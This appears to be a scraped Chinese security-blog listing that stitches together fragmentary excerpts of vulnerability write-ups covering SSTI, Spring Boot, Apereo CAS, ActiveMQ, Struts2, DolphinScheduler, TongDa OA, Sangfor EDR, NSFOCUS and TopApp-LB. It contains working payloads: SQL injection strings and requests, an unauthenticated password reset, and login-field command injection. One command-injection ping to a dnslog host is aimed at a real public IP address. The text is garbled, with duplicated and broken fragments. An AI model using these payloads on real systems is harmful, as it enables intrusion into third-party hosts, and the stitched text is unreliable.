云上安全攻防
云安全介绍
云安全是指用于保护云环境中应用、数据和基础架构的安全的各种信息安全政策、最佳实践、控制措施和技术。具体而言,云安全致力于提供存储和网络保护,以应对内部和外部威胁,此外还提供访问管理、数据治理与合规性以及灾难恢复功能。
云安全是指用于保护云环境中应用、数据和基础架构的安全的各种信息安全政策、最佳实践、控制措施和技术。具体而言,云安全致力于提供存储和网络保护,以应对内部和外部威胁,此外还提供访问管理、数据治理与合规性以及灾难恢复功能。
查询基本包含3部分,作用与SQL查询的FROM、WHERE、SELECT部分类似。
| 查询部分 | 目的 | 细节 |
|---|---|---|
import java |
为 Java 和 Kotlin 导入标准 CodeQL 库。 | 每个查询都以一个或多个语句开始import。 |
from MethodAccess ma |
定义查询的变量。声明的形式为: <type> <variable name> |
我们用:MethodAccess调用表达式的变量 |
where ma.getMethod().hasName("equals") and ma.getArgument(0).(StringLiteral).getValue() = "" |
定义变量的条件。 | ma.getMethod().hasName("equals")仅限ma于调用方法 call equals。ma.getArgument(0).(StringLiteral).getValue() = ""说参数必须是文字的""。 |
select ma, "This comparison to empty string is inefficient, use isEmpty() instead." |
定义每次匹配报告的内容。select用于查找不良编码实践实例的查询语句始终采用以下形式: select <program element>, "<alert message>" |
.equals使用解释问题的字符串报告生成的表达式。 |
OSS服务作为一项重要的云上服务,承担了存储用户数据的重要功能。对象存储服务提供了细粒度的访问权限控制功能,以保证用户数据的安全性。如果使用OSS服务时安全意识不足或对访问权限以及访问策略错误理解,将会导致数据被非法访问或篡改,产生严重后果。
本文将介绍下相关OSS云存储相关方面的风险问题,老规矩先上一张图。

模版引擎(这里特指用于Web开发的模版引擎)是为了使用户界面与业务数据(内容)分离而产生的,他可以生成特定格式的文档,利用模版引擎来生成前端的html代码,模版引擎会提供一套生成html代码的程序,然后只需要获取用户的数据,然后放到渲染函数里,然后生成模版+用户数据的前端html页面,然后反馈给浏览器,呈现在用户面前。
模版引擎也会提供沙箱机制来进行漏洞防范,但是可以用沙箱逃逸技术来进行绕过。
SSTI就是服务器端模版注入(Server-Side Template Injection)
当前使用的一些框架,比如python的flask,php的tp,java的spring等一般都采用成熟的MVC模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给Vier视图层,经过模版渲染展示给 用户。
漏洞成因就是服务端接收了用户的恶意输入以后,未进过任何处理就将其作为Web应用模版的一部分,模版引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模版的语句,因而可能导致了敏感信息泄露、代码执行、GetShell等问题。其影响范围主要取决于模版引擎的复杂性。
凡是使用模版的地方都可能会出现SSTI的问题,SSTI不属于任何一种语言,沙盒绕过也不是,沙盒绕过只是由于模版引擎发现了很大的安全漏洞,然后模版引擎设计出来的一种防护机制,不允许使用没有定义或者声明的模块,这适用于所有的模块引擎。

身份证后六位:
import itertools |
Mac os 11.2.2 |
1.使用自己手机上的微信打开对应的小程序,可以添加到"我的小程序" |
小程序存放路径如下:/data/data/com.tencent.mm/MicroMsg/…/appbrand/pkg/
…部分根据时间戳或者单点击一个小程序在进行测试,大部分为03075c115f972899a1b1b8cc70506599这种

最近在搞Java类的代码审计,看到这个项目记录一下自己的学习过程
Mac os 11.2.2 |
导入idea项目配置本地tomcat
git clone https://github.com/JoyChou93/java-sec-code |
Spring Boot框架是最流行的基于Java的微服务框架之一,可帮助开发人员快速轻松地部署Java应用程序,加快开发过程。当Spring Boot Actuator配置不当可能造成多种RCE,因为Spring Boot 2.x默认使用HikariCP数据库连接池,所以可通过H2数据库实现RCE。
之前的两个RCE都是在Spring Boot 1.x版本下进行的,在spring 2.x下的版本如何进行RCE呢。幸运的是,Spring Boot 2.x默认使用的HikariCP数据库连接池提供了一个可以RCE的变量。这个变量就是
spring.datasource.hikari.connection-test-query。这个变量与HikariCP中的connectionTestQuery配置相匹配。根据文档,此配置定义的是在从池中给出一个连接之前被执行的query,它的作用是验证数据库连接是否处于活动状态。简言之,无论何时一个恶心的数据库连接被建立时,spring.datasource.hikari.connection-test-query的值将会被作为一个SQL语句执行。然后利用SQL语句中的用户自定义函数,进行RCE。
Smartbi是企业级商业智能和大数据分析平台,满足用户在企业级报表、数据可视化分析、自助分析平台、数据挖掘建模、AI智能分析等大数据分析需求。该软件应用范围较广,据官网介绍,在全球财富500强的10家国内银行,有8家选用了Smartbi。
https://127.0.0.1/vision/mobileportal.jsp
https://127.0.0.1/vision/mobileX/login
https://127.0.0.1/vision/index.jsp
密码正确的情况下,部分平台无法登陆,此时设置user-agent为手机端就可以。
漏洞存在于kindeditor编辑器里,你能上传.txt和.html文件,支持php/asp/jsp/asp.net,漏洞存在于小于等于kindeditor4.1.5编辑器中
这里html里面可以嵌套暗链接地址以及嵌套xss。Kindeditor上的uploadbutton.html用于文件上传功能页面,直接POST到/upload_json.*?dir=file,在允许上传的文件扩展名中包含htm,txt:extTable.Add(“file”,”doc,docx,xls,xlsx,ppt,htm,html,txt,zip,rar,gz,bz2”)
⽹上整理的⾯试问题⼤全,有些 HW ⾯试的题,已经收集好了,提供给⼤家。现在就是毕业季节,希望各位都能找到好⼯作。
Apereo CAS 是一款 Apereo 发布的集中认证服务平台,常被用于企业内部单点登录系统。其 4.1.7 版本之前存在一处默认密钥的问题,利用这个默认密钥我们可以构造恶意信息触发目标反序列化漏洞,进而执行任意命令。
其实这个洞在2016年时候就出来了,Apereo Cas一般是用来做身份认证的,所以有一定的攻击面,漏洞的成因是因为key的默认硬编码,导致可以通过反序列化配合Gadget使用。
漏洞原理实际上是 Webflow 中使用了默认密钥 changeit:
public class EncryptedTranscoder implements Transcoder { |
1' order by 3%23 //得到列数为3 |
AppWeb是Embedthis Software LLC公司负责开发维护的一个基于GPL开源协议的嵌入式Web Server。他使用C/C++来编写,能够运行在几乎先进所有流行的操作系统上。当然他最主要的应用场景还是为嵌入式设备提供Web Application容器。
AppWeb可以进行认证配置,其认证方式包括以下三种:
1、basic 传统HTTP基础认证 |
影响版本:Apache ActiveMQ 5.0.0 – 5.13.2
ActiveMQ在5.12.x~5.13.x版本中,默认关闭了fileserver这个应用
5.14.0版本以后,彻底删除fileserver
vulhub拉取漏洞环境docker启动
docker-compose up -d |
Apache Struts2框架是一个用于开发Java EE网络应用程序的Web框架。Apache Struts于2020年12月08日披露 S2-061 Struts 远程代码执行漏洞,开发人员使用了 %{…} 语法,从而攻击者可以通过构Payload,从而造成远程代码执行。
Apache Struts2:2.0.0 - 2.5.25
Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务,集群,Spring Framework等。
Apache ActiveMQ 5.13.0之前5.x版本中
Apache DolphinScheduler(incubator,原EasyScheduler)是一个分布式工作流任务调度系统,主要解决数据研发ETL错综复杂的依赖关系,不能直观监控任务健康状态。DolphinScheduler以DAG流式的方式将Task组装起来,可实时监控任务的运行状态,同时支持重试、从指定节点恢复失败、暂停及Kill任务等操作。
CVE-2020-11974与mysql connectorj远程执行代码漏洞有关,在选择mysql作为数据库时,攻击者可通过jdbc connect参数输入{“detectCustomCollations”:true,“autoDeserialize”:true} 在DolphinScheduler 服务器上远程执行代码。
受影响版本
Apache DolphinScheduler = 1.2.0、1.2.1
安全版本
Apache DolphinScheduler >= 1.3.1
发现的漏洞是任何租户下的普通用户都可以通过以下方式覆盖其他用户的密码
api interface /dolphinscheduler/users/update
受影响版本
Apache DolphinScheduler = 1.2.0、1.2.1、1.3.1
安全版本
Apache DolphinScheduler >= 1.3.2
需要登录权限
原文作者给出了利用链注入加mysql权限,又是写木马的。用起来很舒服
/general/hr/manage/query/delete_cascade.php?condition_cascade=select%20if((substr(user(),1,1)=%27r%27),1,power(9999,99)) |
1、首先访问 /ispirit/login_code.php 获取 codeuid。
2、访问 /general/login_code_scan.php 提交 post 参数:
uid=1&codeuid={9E908086-342B-2A87-B0E9-E573E226302A}
未授权任意文件读取,/wxjsapi/saveYZJFile接口获取filepath,输入文件路径->读取文件内容。返回数据包内出现了程序的绝对路径,攻击者可以通过返回内容识别程序运行路径从而下载数据库配置文件危害可见。
Python Exp:
程序使用了StreamGenerator这个方法时,解析从外部请求的xml数据包未做相关的限制,恶意用户就可以构造任意的xml表达式,使服务器解析达到XML注入的安全问题。
一、**phpStudy**(小皮面板)简介:
phpStudy国内12年老牌公益软件,集安全,高效,功能与一体,已获得全球用户认可安装,运维也高效。支持一键LAMP,LNMP,集群,监控,网站,FTP,数据库,JAVA等100多项服务器管理功能。
0x01 查看访问日志
查看是否有文件上传操作
IPREMOVED - - [01/Mar/2013:06:16:48 -0600] "POST/uploads/monthly_10_2012/view.php HTTP/1.1" 200 36 "-" "Mozilla/5.0" IPREMOVED - - [01/Mar/2013:06:12:58 -0600] "POST/public/style_images/master/profile/blog.php HTTP/1.1" 200 36 "-" "Mozilla/5.0" |
mybatis框架sql注入针对性渗透测试与修复
0X00背景
在国内,政府、国企、央企等重点单位的内网应用系统基本都以JAVA为主。由于重点单位对于应用系统的性能、功能、扩展性等各方面及厂商开发快速性要求,SSM框架成为系统架构首选。这种情况下,有必要对梳理SSM框架相关的渗透测试入侵点。本文将针对Mybatis框架易发生注入的点做简单讨论。
前两天爆出来的命令执行,今天在给大家爆一个任意用户登录;
看源码看到的,我测试的时候可以打到3.2.19版本,后面的版本我就不知道了;
fofa指纹:title=”SANGFOR终端检测响应平台”
无需登录权限,由于修改密码处未校验原密码,且/?module=auth_user&action=mod_edit_pwd
接口未授权访问,造成直接修改任意用户密码。:默认superman账户uid为1。
绿盟全流量威胁分析解决方案针对原始流量进行采集和监控,对流量信息进行深度还原、存储、查询和分析,可以及时掌握重要信息系统相关网络安全威胁风险,及时检测漏洞、病毒木马、网络攻击情况,及时发现网络安全事件线索,及时通报预警重大网络安全威胁,调查、防范和打击网络攻击等恶意行为,保障重要信息系统的网络安全。
绿盟综合威胁探针设备版本V2.0R00F02SP02及之前存在此漏洞。

POST /Proxy HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0;)Host: localhostContent-Length: 341Connection: Keep-AliveCache-Control: no-cache |

POST /acc/clsf/report/datasource.php HTTP/1.1Host: localhostConnection: closeAccept: text/javascript, text/html, application/xml, text/xml, */*User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36Accept-Language: zh-CN,zh;q=0.9Content-Type: application/x-www-form-urlencoded t=l&e=0&s=t&l=1&vid=1+union select 1,2,3,4,5,6,7,8,9,substr('a',1,1),11,12,13,14,15,16,17,18,19,20,21,22--+&gid=0&lmt=10&o=r_Speed&asc=false&p=8&lipf=&lipt=&ripf=&ript=&dscp=&proto=&lpf=&lpt=&rpf=&rpt=@。。 |
网友称以下两个历史漏洞仍然可以复现。
https://www.uedbox.com/post/21626/
天融信负载均衡TopApp-LB系统无需密码直接登陆
.../.../.../https://.../
用户名随意 密码:;id |



https://www.uedbox.com/post/22193/
TopApp-LB负载均衡(绝对是随机找的)https://101.231.40.234/执行命令
执行命令
; ping 9928e5.dnslog.info; echo |

命令被成功执行,效果如图。

齐治堡垒机前台远程命令执行漏洞(CNVD-2019-20835)
未授权无需登录。
该漏洞需要结合任意文件删除以及文件上传漏洞进行配合
1、什么是序列化和反序列化
Serialization(序列化)是指把Java对象保存为二进制字节码的过程;反序列化deserialization是把二进制码重新转换成Java对象的过程。
2、什么情况下需要序列化
a)当你想把的内存中的对象保存到一个文件中或者数据库中时候;
b)当你想用套接字在网络上传送对象的时候;
c)当你想通过RMI传输对象的时候;
总之,序列化的用途就是传递和存储。
3、如何实现序列化
将需要序列化的类实现Serializable接口就可以了,Serializable接口中没有任何方法,可以理解为一个标记,即表明这个类可以被序列化。
序列化与反序列化都可以理解为“写”和“读”操作 ,通过如下这两个方法可以将对象实例进行“序列化”与“反序列化”操作。